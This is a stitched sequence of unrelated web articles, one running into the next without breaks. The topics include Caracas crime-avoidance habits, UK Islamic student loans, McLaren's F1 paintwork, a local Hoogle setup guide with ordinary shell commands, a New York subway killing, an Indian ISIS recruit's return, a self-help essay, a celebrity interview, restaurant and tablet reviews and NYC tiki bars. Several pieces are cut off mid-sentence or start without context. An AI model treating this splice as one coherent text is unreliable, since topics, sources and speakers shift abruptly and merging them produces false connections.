By lying to yourself.
Talking to my friends, it’s a theme that comes up again and again: the conversation that won’t go away. What I notice, though, is all the little mental tricks we play to convince ourselves that somehow, if we do this one thing or take that one precaution, it won’t happen to us.
“The chances of a quieto —the heart-stopping opening salvo of a secuestro express— are out there,” my colleague tells me one night at one of los chinos in Bello Monte. “That’s a fact, there is no way around it. So you learn, as you grow up, to ‘play’ with it.”
“There’s no denying how unsafe it is, but you have to keep living, so you play with the probabilities. For example, what are the chances some malandros get in here? That’s why I like to come on weekdays. Think about it, if you are a malandro you are not going to put that much effort just to rob the six, ten, people tops that come here on weekdays?” she tells me, seemingly confident in every word she was saying while we were eating in a small place in Bello Monte, no cops in sight.
Of course, it’s not true. Obviously. A couple of malandros could very easily be in and out of this place 10 minutes, grabbing everyone’s stuff, and then hop on a motorcycle and ride off onto the Francisco Fajardo highway in a blink.
What malandro is going to put in the effort just to rob the ten people that come here on weekdays?
“I don’t go out before holidays,” another friend told me, “that’s when the choros come out to hunt in numbers, cause they need some money for their vacations. I don’t go out before Christmas or New Year or Carnaval. It’s too dangerous.”
“Malandros are just like us, they also have to deal with the prices at the supermarket, I guess they now have to work a lot harder (…) if they use to hold up someone once a day to get a pair a shoes, now they have to do it twice”, a neighbor told me.
She, as a mom and housewife, thinks the way to stay ahead of the game is to get “in the skin” of el choro.
I was impressed with my friend’s approach: doing a kind of choro anthropology in her head to minimize the risk of a quieto. She’s a kind of defensive method actor, trying to imagine the world from her predator’s point of view.
“For example, I don’t go out every weekend, that’s too risky. I don’t take my friends to their houses like I used to when I was in college, also too risky. Maybe if it’s nearby…maybe. I don’t take caminos verdes, no shortcuts and definitely no stopping at red lights at night. I go for the fastest route and I don’t stop for anything in the world. When I’m outside my garage I’m alert if there is any car behind or a motorcycle…see? lower the percentages, take precautions…that’s the only way,” she explains.
She’s a kind of defensive method actor, trying to imagine the world from her predator’s point of view.
“When I go out at night I only go to malls. I figure it must be harder for a thief to get out of there, right?,” another friend told me. “Usually there are plenty of people around, and sometimes important people, with bodyguards, so maybe they think twice before trying to hold someone up at a mall,” a friend from work tells me.
Another friend refuses to set a foot outside his house on a payday: “When it’s la quincena you know there is more money out there, so it’s better to stay safe.”
Other people I know roll their eyes at the hopeless mitigation strategies. “I know that Caracas its a dangerous place. I figure if they’re going to steal from me they’re going to do it anyway, so I do walk at night and use my phone on the street, there is nothing you can do,” a ‘daredevil’ friend told me after I questioned her about walking at night in El Centro, downtown Caracas.
The old trick of walking around with two cellphones also seems popular: “you’re exposing yourself when you go out, so I usually have one cellphone to use in the Metro and another one that I only use when I feel safe”, a coworker told me.
Another one is even more extreme: “My real cell phone never leaves the house, I only use my phone in my apartment”.
The old trick of walking around with two cellphones also seems popular.
But thinking like a malandro is not the only element in this equation, you also have to think about the police.
“A coworker always goes home after work in public transport, a camionetica, and nothing happens to her. One day she left the office at 1 p.m. and she got mugged (…) It’s lunchtime for the police, so we’re more vulnerable”, a friend of a friend explains to me.
“And on holidays there are fewer cops on the streets, and the bad guys know that. You have to be extra careful at those times,” she continued.
I save my nice clothes for the weekends, when I go out with my family or friends.
Another friend thinks exactly the opposite: “For example, during Carnival you have this special holiday police operation, there are more cops on the street and malandros like to take a break just like anyone else, going to the beach with the girlfriend and taking some days off. They can’t be the hardest working people in the country, you know? So I feel safer during the holidays”.
“If I’m at a friend’s house after 11 pm I prefer to stay there and go out in the morning and I hate it when people linger in the car to talk after we stop to drop them off. We have to get out of the car fast,” a friend that lives in El Hatillo told me.
“I used to get out of the office late at night and sometimes I would stop for a hot dog in Las Mercedes. I don’t do that anymore and I don’t use my watch”, he recalls, thinking about his own strategy.
Another coworker has to cross the city on public transport every day to get to the office. His big thing is to always ride the buses wearing tattered old clothes. “I don’t use my ‘pretty clothes’ on weekdays. The choros can’t see that my purse looks new. I save my nice clothes for the weekends, when I go out with my family or friends.”
There’s more than a smidgeon of superstition in all this. Deep down, we know we can only nudge the odds ever so slightly. The danger is there, and it won’t go away.
Plenty of people obsess over cracking the “choro system” thinking you have to understand it in order to break it. But even among them, there are flashes of insight.
“I know this probably this doesn’t mean anything. We’re still pretty vulnerable when we go out, doesn’t matter how you dress, what route you take or what strategy you use. ‘Cuando te toca te toca’, it’s all one big game of chances. You can’t be safe, but you desperately need to feel safe. So you make yourself mind-safe to muster up the courage. You have to trick your mind into thinking that you have a regular life in a normal country, otherwise, you’re gonna lose it.”
Caracas Chronicles is 100% reader-supported. Support independent Venezuelan journalism by making a donation.CAIRO – In a move expected to increase the number of Muslim students in British universities, the UK government has approved new charitable Shari’ah-complaint loans for Muslim students to increase diversity in campuses.
“We will introduce an alternative finance system to support the participation of students who, for religious reasons, might feel unable to take on interest-bearing loans,” the White Paper was quoted by The Telegraph on Tuesday, May 17.
“We have heard that some students will not access higher education in these circumstances, some will access higher education and use loans but will be troubled by their situation, and others will restrict their choice of course or institution to try to minimize the sums involved.
“To ensure participation and choice are open to all, we plan to legislate for the creation of an alternative model of student finance.”
This white paper sets out our plans for the next 5 years, building on and extending our reforms to achieve educational excellence everywhere.
The new “Takaful” model would allow students to make payments to a communal pot that would then benefit future students wanting to go to university.
The idea of the loans was suggested by Dr Samir Alamad a member of the Shari`ah Supervisory Committee.
“In the Islamic faith there is a strong prohibition against dealing with any sort of interest in any sort of financial transactions,” he said.
Under the usual arrangements, students repay their loans to the Government when they start earning £21,000 and pay an interest of 3 per cent or more depending on their earnings.
However, under the alternative finance arrangements, Muslim students would pay an “agency fee” of 3 per cent or more depending on earnings and the money they pay into the fund constitutes a “charitable contribution”.
Dr Alamad addressed concerns that this fund might just be a change in names, saying: “This is different. People pay back to the fund so future students can benefit from it rather than paying back to the Treasury. It’s about giving back to the community.”
Britain is home to a sizable Muslim minority of nearly 2.7 million.
There are 400,000 Muslim students in British schools, according to the Muslim Council of Britain (MCB).
There are nearly 90,000 Muslim students studying in higher education institutions.
Islam forbids Muslims from receiving or paying interest on loans.
Introducing the Shari`ah compliant loans, would change minds of many Muslim students who decided earlier not to join universities due to the loan interest, according to the Federation of Student Islamic Societies (FOSIS).Another use for F1 paint... Related Links Drivers:
Alfred Neubauer
If you took the 2010 grid, stripped all the cars of paint and muddled them up, only the most dedicated F1 anorak would be able to tell them apart. Paint schemes are engrained in the sport and its history. Most fan's fondest memories of Formula One are wrapped up in nostalgic liveries, be it the black and gold of Lotus, the day-glow red and white of McLaren or the omnipresent scarlet of Ferrari.
In the beginning it was simple; you took your country's national colour (Green for Britain, Blue for France, Red for Italy etc.) applied it liberally and slapped a number on it issued by the organising body. Mercedes was one of the first to buck the trend in grand prix racing by ditching the traditional German white for bare aluminium.
The story goes that legendary team boss Alfred Neubauer turned up to the Nurburgring with his new W25 only to find that the car was a kilo over the maximum weight limit. In order to allow the cars to compete at their home race, he told his team to scrape the paint off and in doing so saved the necessary kilo. Rather sadly, however, this story is probably completly untrue and it is more likely to be one of many tall tales dreamt up by Neubauer to keep himself amused.
The current paint process is far less capricious and, like so much in modern F1, has been boiled down to a fine science. A quick visit to McLaren's paint shop, where the iconic chrome and rocket red livery is applied to Lewis Hamilton's and Jenson Button's MP4-25s, opens up a side to the sport that is very seldom explored.
McLaren has one of the most distinctive paint jobs in the pit lane © Laurence Edmondson Enlarge
Behind McLaren's paintwork is Sikkens AkzoNobel, a Dutch car refinishes company that was approached by Ron Dennis ahead of the 2009 season with something of a challenge. Dennis wanted to maintain the McLaren's chrome finish - used on the car since 2006 - but also make the paint as light as possible.
McLaren Engineering Director Paddy Lowe explains: "It's very easy to get a fantastic paint finish by putting layer upon layer of paint on the car, but the question is how you get that result with fewer layers and less weight?"
By employing some of the most advanced techniques and an entirely unique chrome formula, Sikkens AkzoNobel managed to get the overall weight of paint on a finished chassis - minus nosecone and wings - down to 1-2 kilos. In a sport where a couple kilos of extra ballast on the right part of the car can make the difference between places on the grid, that development was warmly welcomed by McLaren.
"It's a specialised area but one that you want to find an edge," Lowe adds. "If you can find 20 areas like that you start to make a very big difference as a competitor."
Equally important for a team like McLaren is the basic aesthetics of the car and the image it portrays to millions of TV viewers. Before any car can start testing it has to meet Dennis' personal approval in a ceremonial signing off process that takes place before the launch. The team lines up in the McLaren Technology Centre alongside its latest creation and Ron comes down from his office to give it a once over. If he's happy he places one hand on the bodywork, but if not it goes back into the bowels of the factory to be rectified. Expectations are high.
McLaren paint is stripped by hand and then sanded down © McLaren Enlarge
"The McLaren car is the most visually stunning in F1," says Lowe. "When you walk on the grid in among the cars, that's the one that people are always quite amazed to see for real and it also comes across on the TV. The easiest engineering decision would be to have no paint on the car, that would be lighter, but that's not the way we want to be."
And to ensure that image is maintained race-to-race, one of the first places the car goes on its return to the factory is the paint shop. A laborious process sees the paint stripped back to the primer before a clear coat, chrome and final top coat are added. Since being supplied by Sikkens AkzoNobel, McLaren have cut the number of coats to 4 (officially 4 and a half, although what the half coat entails is a bit of a mystery) from six and in doing so has saved both weight and valuable application time.
Watching the McLaren's paint being hacked away is an excruciating process, much like nails on a blackboard, but it's entirely necessary to get back to the primer and build up the coats. More enjoyable is the repainting. Each coat is applied and then cured by a huge custom-built infrared arch that hovers over the bodywork, dramatically reducing the time of the whole process. And time is another factor that is crucial to McLaren.
"In Formula One there's a constant push, relentless development of bodywork," says Lowe. "We bring new pieces to every race and the earlier the race you can bring them to the quicker you get the new performance. If you have a paint process that takes a week, for the sake of argument, that's lost performance. If you have a paint process that takes six hours you're ahead of the curve on your lap time.
Paint is applied by artists with an airbrush © McLaren Enlarge
"You invent things in the wind tunnel but then there is a lag between inventing it and seeing it at the race track, so you are always trying to shorten that lag. Painting has historically been quite a big proportion of that time, so that's another thing, through our partnership, that we have been able to shorten."
There is an awful lot of skill that goes into the repainting process. The distinctive red highlights that run down the nose of the McLaren are hand airbrushed, meaning each paint job is unique. It requires an artist with an incredibly steady hand; one mistake and you could cost the team a huge amount of time.
Once the car has received the approval of paint shop boss George Langhorn - who has been overseeing the team's liveries for over 30 years - the bodywork is stickered with McLaren's many sponsors and loaded up for the next race.
Who said watching paint dry is boring?
Laurence Edmondson is an assistant editor on ESPNF1
© ESPN Sports Media Ltd.Running a fully local Hoogle
Today I finally succeeded at getting a fully local version of Hoogle running on my machine, with filesystem links for all packages that I have installed, and remote links for those I don’t. Since this was definitely a non-trivial exercise, I wanted to capture the knowledge here for anyone else trying to do the same.
First, let me mention that I’m using OS X 10.7.4, GHC 7.4.2 (64-bit), and Hoogle 4.2.13. I had to install Hoogle from source in order to apply the following patch:
--- a/src/CmdLine/All.hs +++ b/src/CmdLine/All.hs @@ -74,6 +74,7 @@ guessLocal = do lib <- getLibDir let xs = [takeDirectory (takeDirectory lib) </> "doc" {- Windows, installed with Cabal -} ] ++ [takeDirectory (takeDirectory ghc) </> "doc/html/libraries" | Just ghc <- [ghc] {- Windows, installed by GHC -} ] ++ + [takeDirectory (takeDirectory ghc) </> "share/doc/ghc/html/libraries" | Just ghc <- [ghc] {- Mac OS X, installed by GHC -} ] ++ [home </> ".cabal/share/doc" {- Linux -} ] filterM doesDirectoryExist xs
This allows Hoogle’s data command find my GHC library documentation in $GHCROOT/share/doc/ghc/html/libraries. Otherwise, none of the standard libraries show up as local links in the search results. Then I built and installed Hoogle:
cabal configure cabal install
The next step was to enable Haddock Documentation for all packages I locally install with cabal. This required editing ~/.cabal/config and making sure the following line was present:
documentation: True
While you’re at, go ahead and enable library profiling too, so you have profiling libs available the next time you want to hunt down a space leak:
library-profiling: True
Unfortunately these two are not the default, so if you’re adding them now you’ll have to rebuild every package in your local repository:
cabal install world --reinstall --force-reinstalls
This could take awhile – and may not complete successfully. I had more luck at wiping my old state and starting over:
cp ~/.cabal/config ~/.cabal/world /tmp rm ~/.cabal ~/.ghc cd sh bootstrap.sh cp /tmp/config /tmp/world ~/.cabal cabal update cabal install world
I also edited bootstrap.sh to make sure that the libraries installed by this process also haddocumentation and profiling libs available. Make sure you add the following line to the top of bootstrap.sh :
EXTRA_CONFIGURE_OPTS=--enable-library-profiling
And these lines right after the Setup build invocation:
./Setup haddock ${VERBOSE} \ || die "Haddocking the ${PKG} package failed"
Even after all this you may need to intervene manually, if some of your packages require special options to build. For example, I always need -f have-quartz-gtk to build gtk, but it seems Cabal doesn’t remember this in my world file, and so gtk breaks every time anything tries to rebuild it.
Back to Hoogle. By now you should have two things: a hoogle binary, and a fset of local documentation in ~/.cabal/share/doc. Make sure that you do, before going any further. Then, download and generate all the necessary Hoogle data, with local annotations where possible:
hoogle data -l -r all
If you only want a subset of hoogle, drop the all keyword. This process takes a long time, so head out and get some coffee! Once this is finished – and after any time you run this command to reflect newly install new packages – ensure that your default.hoo database is also up-to-date. Here’s how I did that:
cd ~/.cabal/share/hoogle-4.2.13/databases mv default.hoo default.hoo-prev hoogle combine *.hoo
On my system this merged 3377 database, took an exceedingly long time, and used almost 7 gigabytes of RAM. It is a much longer process than the data command above. But once it’s done you can now run:
sudo hoogle server --local
And voila! You should be able to query Hoogle and browse documentation fully offline, as long as you’ve installed the related packages. Even further, you can add this to your.ghci file:
:def h \x -> return $ ":!hoogle -c -n 10 \"" ++ x ++ "\"" :def doc \x -> return $ ":!hoogle --info \"" ++ x ++ "\""By Murray Weiss, Trevor Kapp, Wil Cruz
MIDTOWN — The Elmhurst man who police said was killed by a subway train after another man hurled him onto the tracks in Midtown Monday was in the well for more than a minute before he was hit, a source said.
Ki-Suk Han, 58, died after he became pinned by a Q train at the 49th Street subway station shortly after 12:30 p.m., police said.
"The man tried to climb out of the well and was pinned betwen the station and the train," Police Commissioner Raymond Kelly said at a news conference Tuesday at One Police Plaza.
Han was pronounced dead shortly afterwards.
Han had been in a heated exchange with a man — who police described as emotionally disturbed and talking to himself — when he was thrown off the Seventh Avenue platform as other straphangers looked on.
More than a minute — and possibly as long as 90 seconds — elasped before the train slammed into him, a police source said.
It was not immediately clear whether anyone on the platform tried to help Han to safety.
"People were just standing in shock," said witness Patrick Gomez.
Police Commissioner Raymond Kelly said witnesses were blindsided by the attack.
"I think it's not unlike a car accident where people pay attention to it after it happens," Kelly said. "The witnesses we spoke to were not focused on what happened before the confrontation.
"There's some indication they were engaged in a conversation," he added.
Kelly said Han was on his way to renew his Korean passport when he encountered the assailant in the subway. Sources said Han had gotten into an argument with his wife earlier that morning and was intoxicated.
Sources said Han may have initiated the debate with the man who allegedly pushed him off the platform.
"Leave me the f--- alone!" the man, who was wearing headphones and drinking a Starbucks coffee, said on a video released by the NYPD.
The fight reached a boiling point and the suspect pushed Han onto the tracks, authorities said.
Cops on Tuesday were still searching for the suspect, whose photo was being circulated to the media, Kelly said.
Detectives had received three actionable leads as off early afternoon Tuesday, Kelly added.
"Of course, we're following up on the calls," he said.
The NYPD is offering a $12,000 reward for information leading to an arrest and a conviction.
Ben Fractenberg contributed to this story.Six months after he left his suburban Mumbai home to join Islamic State militants, 22-year-old Areeb Majeed returned from West Asia on Friday and was being questioned by the National Investigation Agency (NIA), officials said.
Hindustan Times was the first to report that Areeb, earlier thought to have been killed in an air strike, was alive and had called his father, Dr Ijaz Majeed, seeking help to return from Turkey.
Facebook page that appears to have been set up by Areeb Majeed. Facebook page that appears to have been set up by Areeb Majeed.
“I am yet to meet him or contact him. I will first offer Friday prayers and then plan how to meet my son,” Dr Majeed said.
Sources say Areeb landed at Mumbai international airport at 5:15am and was immediately taken into custody by NIA officials.
Areeb and three other young men – Fahad Shaikh, Saheem Tanki and Amaan Tandel —from Kalyan in Maharashtra’s Thane district went to Iraq in May to join the jihadi group, investigators said. How Areeb managed to escape and go to Turkey is still unknown.
According to police, the four engineering students – radicalised over the internet – flew to Baghdad as part of a group of 22 pilgrims visiting religious shrines in Iraq. But intelligence agencies later intercepted phone calls where the men were crying and asking their families to seek the government’s help for their return.
On August 26, Saheem called up Dr Majeed and told him that his son had become a “martyr”, and Pakistan-based terrorist group Anwar-ul-Tawhid declared Areeb’s martyrdom on its now-defunct website.
Maharashtra’s anti-terrorism squad (ATS), which earlier questioned the youngsters’ relatives, is also in touch with the NIA over Areeb’s return, sources said.
Intelligence and security officials have warned that the Islamic State is trying to indoctrinate and recruit young volunteers online from India – home to
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He said that Moriarty would not be attending last weekend's PAX East, where the rest of the Kinda Funny appeared. Moriarty had previously defended his tweet, as "a blatantly obvious joke.”
Polygon has contacted Miller for further comment.
Note: The author of this story worked at IGN with Colin Moriarty for a brief period some years ago.
Update: The headline and dek of this story have been updated.You Have To Be Happy Before You Can Make Someone Else Happy
I repeat this phrase a lot to my friends: you have to be happy before you can make someone else happy.
So often I hear of people unsuccessfully trying to make someone else happy. They give and give and give, but nothing seems to work. They actually believe that the more they sacrifice, the more it shows they care, even though it couldn’t be further from the truth.
You can give all you want, but you can’t give something that you don’t already have. If you haven’t achieved happiness for yourself, then how could you possibly help someone else achieve their happiness? It’s impossible. You may be able to provide some short-term pleasure, but you can’t teach someone something that you have no understanding of.
When it comes to first achieving happiness for yourself, I’m reminded of the lecture they often give on airplanes about oxygen masks. They always tell you that in times of emergency you should put your oxygen mask on first, then help your neighbors put on their masks. The reasoning is simple: if you don’t put on your oxygen mask first, you suffer a greater likelihood of dying; and you can’t help anyone once you’re dead.
In the same way, you can’t make someone happy if you’re depressed. You have to take care of yourself first before taking care of others. Anything else is a recipe for disaster for the both of you.
Some people try to do good and charitable things with the expectation that it will automatically make them and the other person more happy.
However, while studies (PDF) show doing good things for people can increase your own well-being, if you don’t do it with the right intentions then you won’t get the long-term gratification from it.
If you are helping someone just for your own sake and pride, then the warmness of the act is lost, and your pleasure from doing the act will be minimal at best.
Helping others feels best when you genuinely want to help others. And that is often motivated by your own sense of self-worth and self-esteem.
If you have already achieved happiness for yourself, then you are in a much better position to help someone else achieve their own happiness.
When you walk into a room and light it up with joy, other people catch that like an infection. When you share your stories and advice with enthusiasm, people will begin to perk up their ears and actually listen to you. And when people see you standing up for your beliefs and achieving your goals and values, they are more motivated to do the same for themselves.
When you become a role model of happiness, your influence spreads to others without you even realizing it.
Still, nothing is guaranteed. You can’t change anyone without their permission. And some people just aren’t willing to permit themselves to be happy no matter what.
We can try to talk with someone, reason with them, encourage them, or lead by example, but if someone isn’t open to learning something new, then they won’t learn it.
People have their own sense of free will, so we can’t always change them to think and feel how we want them to think and feel. That’s an important limitation to accept sometimes.
Of course, I don’t want to discourage you from helping others, but I want you to know that there is a point where it may be best to cut your losses and walk away. Some people can be emotional leeches, they depend on your pity in order to manipulate you.
It’s sad, but some people don’t want to be happy simply because they don’t want to take action or take responsibility for their own lives. They want someone else to do all the work for them, but that too is impossible.
You can only influence and encourage people to find happiness, you can’t force it onto them.
Stay updated on new articles and resources in psychology and self improvement:Make no mistake, the best way to experience Singapore seems to be through the stomach and James Marsden was all ready for this encounter.
It has become a cliche to ask visiting celebs matters pertaining to cuisine and Marsden appeared to be no stranger to the question. After all, it was his first time ever to this part of the world and he certainly made the most of his trip here having been sighted all a few local food joints. He even readily offered that he was having Laksa after the day’s interviews. Clearly HBO Singapore is taking good care of the man!
Teddy Flood, as we better know him from Westworld, was in Singapore just one week before the first season finale. And while he seemed to have a packed schedule having been to a morning talk show prior to the interview session, he seemed all upbeat as I walked into the room. Having only 25 minutes for a roundtable interview, the questions came fast and furious. It was interesting to see how Marsden tried his very best to hold back on any possible spoilers and deflect off any questions that might allude to his return in season two.
For many actors, working with the great Sir Anthony Hopkins would be a treat in itself, but James Marsden gets to do one better, in that he gets to share scenes with the great Hannibal Lecter, in his birthday suit.
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“I got to work opposite one of the greatest thespians of our time, and there I was, sitting in my birthday suit,” laughed the 43 year old star behind movies such as X-Men and it’s numerous sequels.
And speaking of sequels, Marsden said that he has every intention of making more comic book movies, if given the chance.
The biggest insight we garnered from the interview was when we asked if he would prefer to play a white hat or black hat character within a theme park like Westworld. If you’re yet to catch an episode of the show, patrons to the park get a chance to play either as a ‘good guy’ or ‘bad guy’ in their visit there.
His response invoked what we often experience in board or video game settings, when there are no more societal rules, would your friends take a different persona in game?
Marsden grinned and shared he would “want to see how my friends reveal their true character,” at this point it seemed like Marsden came to an odd realisation that some of his friends might have a darker side to be discovered and left it at that.
We’d love to speculate that this has a much greater meaning especially if you’ve been following the season all thus far but it might be a stretch.
Do check out the entire interview above for a more speculative fodder and see if his ambitions to return as Hal Jordan might come true.
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The 90 minute final episode of Westworld premieres same time as the U.S. on Monday, 5 Dec, at 10am, with a same day primetime encore at 9pm, exclusively on HBO (StarHub TV Ch 601).
Drop a Facebook comment below!Chez Anh
435 Sunnyside Ave., 613-709-1724, facebook.com/ChezAnh/
Open: Wednesday to Monday 11 a.m. to 10 p.m., closed Tuesdays
Prices: sandwiches $4 and $5, soups $8
Access: one step to front door
The young woman who was running Chez Anh all by herself during our recent lunch visit seemed to be right on top of things, cooking and doling out tasty food in a cool, steady rhythm. We certainly had no qualms about the piping hot beef pho or the beefy bánh mì sub at our table.
But when her co-workers arrived with provisions — packages of noodles, chopsticks, paper towels and more — heated but funny banter ensured. “I swear to God, you’re giving me PTSD leaving me alone!” the woman said. When my friend asked if the woman and the other staffer she was squabbling with were sisters, she replied that they weren’t, and glowered intensely.
Chez Anh — a wee, eminently affordable café of fewer than 20 seats, wedged into a former convenience store on Sunnyside Avenue closer to Bronson Avenue than to Bank Street — is, I guess, a bit like that. It’s a slightly disheveled, youthful place that serves up a relaxed, unpretentious atmosphere and the occasional sit-com exchange along with a concise listing of distinctive Vietnamese savouries and soups, plus — if they’re available — intriguing house-made desserts.
Who is Anh? That would be Anh Nguyen, a 26-year-old former federal public servant and food lover whose cooking résumé lacks any previous restaurant experience but does include being a Top 50 finalist on the second season of MasterChef Canada a few years ago. He opened his café three months ago, bolstered by a week-long, successful crowd-funding campaign that raised almost $4,000 for renovations.
As the owner and chef of his eponymous café, Nguyen serves dishes that reflects his mother’s cooking and the fare of Hanoi in Northern Vietnam, where he was born.
The pho here, available with chicken or beef, is Northern-style, meaning that it stresses a lucid, beefy, salt-seasoned broth and underplays the sweeter notes of many a Southern-style bowl of pho elsewhere in Ottawa. “It has to be as clear as possible,” Nguyen says. Also absent at Chez Anh are the plates of herbs and sprouts for garnishing one’s pho, although there are hoisin and chili sauces available on a counter, if not on every table.
Differences aside, I’m a fan of the very much restorative pho here, which pleased with clean, well developed flavours, freshness, lots of lean meat — usually beef brisket or sirloin from Lavergne Western Beef in Navan, or shreds of chicken — and cubes of fried dough as a welcome bonus. I’ve also had the special miến gà — a chicken and glass noodle soup — which was fine, especially for lovers of fried shallots and those must-slurp vermicelli.
A beef bánh mì sub here was an artful example of the exalted Vietnamese sandwich, its warm, crusty baguette generously filled with tender grilled meat, lightly pickled veg and a smear of pâté that contributed a livery, funky undertone.
A rice vermicelli bowl lost marks for its dry chicken breast and tepid rather than tangy dipping sauce. But it was redeemed by a fantastic, meaty, massive and nicely seasoned spring roll.
When we ordered some of Chez Anh’s pâté chaud (pastries stuffed with meat), our server warned us: “They’re ugly today.” But she continued. “I promise, they’re delicious.” We didn’t think they looked that bad, and they were, indeed, deliciously flaky and richly savoury — everything you would want in a sausage roll.
Among Nguyen’s other snacks, the rice paper rolls were simply made, good and fresh.
The desserts listed on Chez Anh’s wall-filling blackboard have always appealed on sight, although we’ve sadly missed on house-made macarons — Nguyen says to come early in the week for those — and slices of tiramisu or other cakes that sold out. I had a bowlful of green tea panna cotta that could have been better. It was jiggle-free and too cold. Better was a “Hungarian” square which was above all sweet and topped with orange-y glaze.
The café is not licensed, but it does serve, in addition to soft drinks, Cultured Kombucha, strong Vietnamese coffee and pandan iced tea.
When school starts in a few weeks, it’s likely that Chez Anh, which can already be packed with neighbourhood folks, will become still more crowded with Carleton University students who want take-out treats or a linger in an unpretentious spot staffed by people barely older than themselves, where a sassy playlist sends the sounds of Amy Winehouse, Lana Del Rey and Santana into the air.
This weekend, Nguyen is kicking off Night Market Fridays and Saturdays, when he will open to midnight and from 9 p.m. serve snacks such as lamb skewers, grilled squid, curry fish balls and mango sticky rice. Don’t be surprised if things get a little hectic, and comfort that server if she appears a little frazzled.
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Peter Hum’s restaurant reviewsFor once, an Apple product isn't the hottest piece of hardware on the scene. This week, at least, that highly enviable status goes to Google's new Nexus 7 tablet. According to reports, several retailers are sold out of the 7-inch tablet, and even Google's own online store only has the cheaper, $199 8-GB version. The $249 16-GB version is no longer available anywhere except on eBay for a steep premium.
Of course, you have to remember that selling out doesn't mean much without knowing how many sold out. This is a classic Apple ploy, though to give Apple credit, it usually turns out later that it sold a ton of whatever sold out. No matter, selling out a product shortly after its release still works great as a marketing tool, as you can see from the coverage gushing about "incredible demand."
But Google deserves credit for more than just marketing. Now that I've tried it for several weeks, with a model provided temporarily by Google at its I/O developer conference, I can tell you why the Nexus 7 is the latest hot gadget:
* It looks and feels, to use the technical term, slick. The fact is, Apple's products have a look and feel that few can match, and even the Nexus 7 doesn't quite get there. But it's pretty damn close. It feels substantial, while substantially lighter, of course, than the iPad. The swiping is very smooth as well.
* The 7-inch size is appealing and convenient. It's easy to hold it in one hand, while swiping with the other. It also fits in a pants or shorts pocket (or purse, I'm guessing) surprisingly well for temporary transport. So I end up taking it more places than my larger tablet.
* The screen is no Retina like the latest iPad, but it still looks sharp and bright.
* It may not have all the apps, or some of the latest and greatest, that Apple has, but it's got plenty. And some very nice ones, too, such as Flipboard and my current favorite, The Night Sky.
* Almost forgot--it's cheap! For $199, it's less than half the current $399 minimum for an iPad. That makes the Nexus 7 close to an impulse item, or at least a gift that won't break the bank.
* Uber-reviewers Walt Mossberg of the Wall Street Journal, David Pogue of the New York Times, and even Apple fanboy/Google hater MG Siegler, himself, all like it. So does almost everyone else.
For all that, I can't help mentioning the downsides. The default screens are a mess of apps, My Library (which features an Esquire cover of Bruce Willis that I really don't want to see anymore), and recommended apps and magazines I couldn't care less about (Country Weekly magazine? Really?). The app organization is also haphazard, making it hard to find some basic ones. Google Play, for instance, seems really key to Google's ultimate success at mobile devices and apps, but it's buried a menu layer deep. Update: It's also on the bottom toolbar. The real problem is that the icon, a shopping bag with an arrow logo, doesn't say app store to me or anyone else I've shown it to. And who besides us Google watchers know that "Google Play" is an app store anyway?
As many have noted, there's not much content in its Google Play store. But that means almost nothing to me because I'm a Netflix and an Amazon Prime subscriber so I can get Amazon Instant Video (but only via an arcane browser tweak, so that remains an issue for now). There's also a Kindle app for Amazon books. It doesn't have a front rear-facing camera. Since I'm not using a tablet to take photos (and, in what is a weird omission, there is no built-in camera app), and since Skype is one of the killer apps as far as I'm concerned, the single front-facing one works fine for me. It's WiFi only, though again, I wouldn't pay for another monthly data plan anyway. With only 8 or 16 GB of storage, you better be comfortable storing most of your stuff in the cloud (I am).
And there's apparently a problem with the touchscreen (though I haven't run across it yet) that's especially a problem for playing games. My own complaint about the screen, and it's minor, is that it's just a tad too small, or at least the border around the screen is. It's hard to pick up along the side, because too often I end up touching an icon and launching an app or stopping a video when I don't want to. The recessed side buttons are a little hard to reach sometimes, too. These are quibbles, though.
Not least, it looks like Apple is readying its own smaller iPad for under $300. That could well steal the Nexus 7's thunder--especially since it almost certainly will do two or three things better than the Nexus 7, because it's Apple and because it will be newer.
But for the next few months, at least, Google has a bona fide hit on its hands. And for all the right reasons, not just manufactured scarcity.
For more, read:
Apple Will Sell A Smaller iPad Or Be Disrupted From The Bottom Up By Google’s Nexus 7
Google’s Nexus Will Sell At A Profit: But A Smaller One Than Amazon’s Kindle Fire
LIVE (Updated): No Larry Page, But Google Q2 Profits Beat Forecast, Sales LightWinter is here in all its cruel, roaring glory, relegating most New Yorkers to the nearly-warm indoors. Then, of course, there are those cruel and lucky bastards who get to go on VACATION this season, flooding your Instagram feed with pictures of their toes in the sand. But fear not, Northeast-bound—though you may not be able to frolic on the beach like your horrible social media friends, you can pretend to embark on your own Polynesian adventure at one of the city's rum-friendly tiki/surf bars. Though these are a dying breed these days—RIP Lani Kai and PKNY—there are still a few drinking holes slinging Mai Tais like the Kitsch Kings they are. Here are our favorites, and leave yours in the comments.
Zombie Hut (via Foursquare)
Best Place To Get Blitzed: ZOMBIE HUT: Zombie Hut's sole raison d'être is to get you smashed, or so you'll believe after a Saturday night in this funky tiki dive. Drink more than one of the bar's $5 Mai Tais or Planters Punches and you will black out immediately, awakening in the backyard hours later while spooning a Polynesian tribal statue. If you feel like sharing with friends, or have a liver of steel, you can opt for the $26 Scorpion Bowl, which arrives aflame and is packed with Bacardi 151, a rum responsible for your very poor sophomore year performance in Macroeconomics.
Zombie Hut is best enjoyed in warm weather thanks to its kitschy, straw thatched backyard. But it's plenty fun in the winter, albeit a bit more packed, and all that 151 will warm up your insides tout de suite, too. If you're sober enough to see straight, feel free to grab one of the bar's board games and wow the other Bahama Mama enthusiasts with your mad Battleship skillz.
Zombie Hut is located at 273 Smith Street between Degraw and Sackett Streets in Carroll Gardens, Brooklyn (718-875-3433).
Via Yelp
Best Tiki Dive: OTTO'S SHRUNKEN HEAD: This East Village rock bar's occasionally a little too cool for the kitsch, but none of that matters when you're downing a double volcano. You can opt for a $12 tiki drink ($17 with a funky mug, + a $5 deposit) like a Stormy Skull, Singapore Sling or Pang's Punch—or dig into a frozen German Chocolate Cake or piña colada if you don't mind the cold.
If you aren't too terrified to share an alcoholic bowl, the $30 Volcano Blast is a shareable liquid poison to behold, before forcing all your friends into the bar's photobooth. Try not to throw up on a Stuy Town resident on your way home.
Otto's Shrunken Head is located at 538 East 14th Street between Avenues A and B in the East Village (212-228-2240, ottosshrunkenhead.com).
Via Facebook
Best Way Outer-Borough Bar: JADE ISLAND: New York Dolls member David Johansen once brought reigning culinary Bad Boy Anthony Bourdain to this Staten Island eatery, where Chinese/Polynesian inspired-meals and tiki drinks reign supreme. Though the food here isn't necessarily worth a ferry trip, the time-travel back to the bar's 1970s heyday is, as are the Hawaiian shirt-clad waiters carrying the pu pu platters and oversized drinks.
